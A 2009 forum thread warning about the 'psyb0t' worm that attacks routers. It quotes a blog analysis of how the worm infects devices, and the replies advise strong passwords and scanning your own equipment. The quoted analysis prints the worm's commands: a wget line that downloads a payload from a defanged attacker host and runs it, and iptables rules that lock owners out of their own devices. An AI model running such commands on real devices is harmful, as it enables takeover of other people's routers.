Worm attacking routers, make sure yours is locked down

Hey drop us a line about the show. Feel free to ask questions, provide feedback and criticism, or just ramble on about anything your little heart desires.

Moderators: snarkout, Patrick, dann

Post Reply
User avatar
jturning
Posts: 221
Joined: Wed Sep 13, 2006 1:11 pm
Location: Rancho Cordova

Worm attacking routers, make sure yours is locked down

Post by jturning » Mon Mar 23, 2009 10:52 pm

Make sure you don't allow remote access, and you have a good password set. I think those on this forum do, but just in case.

http://dronebl.org/blog/8
We have come across a botnet worm spreading around called "psyb0t". It is notable because, according to my knowledge, it:

* is the first botnet worm to target routers and DSL modems
* contains shellcode for many mipsel devices
* is not targeting PCs or servers
* uses multiple strategies for exploitation, including bruteforce username and password combinations
* harvests usernames and passwords through deep packet inspection
* can scan for exploitable phpMyAdmin and MySQL servers

Vulnerable devices

* any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices).
* possibly others

Infection strategy

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:

# rm -f /var/tmp/udhcpc.env
# wget

If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.

If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.

# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA

It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.

# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP

This concludes the infection process.
Bugz
Image

User avatar
DaveQB
Posts: 188
Joined: Wed Mar 30, 2005 6:50 am
Location: Sydney
Contact:

Re: Worm attacking routers, make sure yours is locked down

Post by DaveQB » Tue Mar 24, 2009 1:31 am

Damn!
I guess the bottom line is, don't have weak passwords whether or not there is a bot doing the rounds.
Linux david 2.6.29.3-desktop-1mnb #1 SMP Thu May 14 15:19:40 EDT 2009 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 6000+
Distro: Mandriva 2009.1

User avatar
eddie
Posts: 974
Joined: Wed Sep 05, 2007 10:46 pm
Location: here
Contact:

Re: Worm attacking routers, make sure yours is locked down

Post by eddie » Mon Mar 30, 2009 9:19 am

I just changed the pw's on mine and tried to lock down everything I could. Also did an nmap to see what was open. Though I would like to set up a honey pot for grins.

Post Reply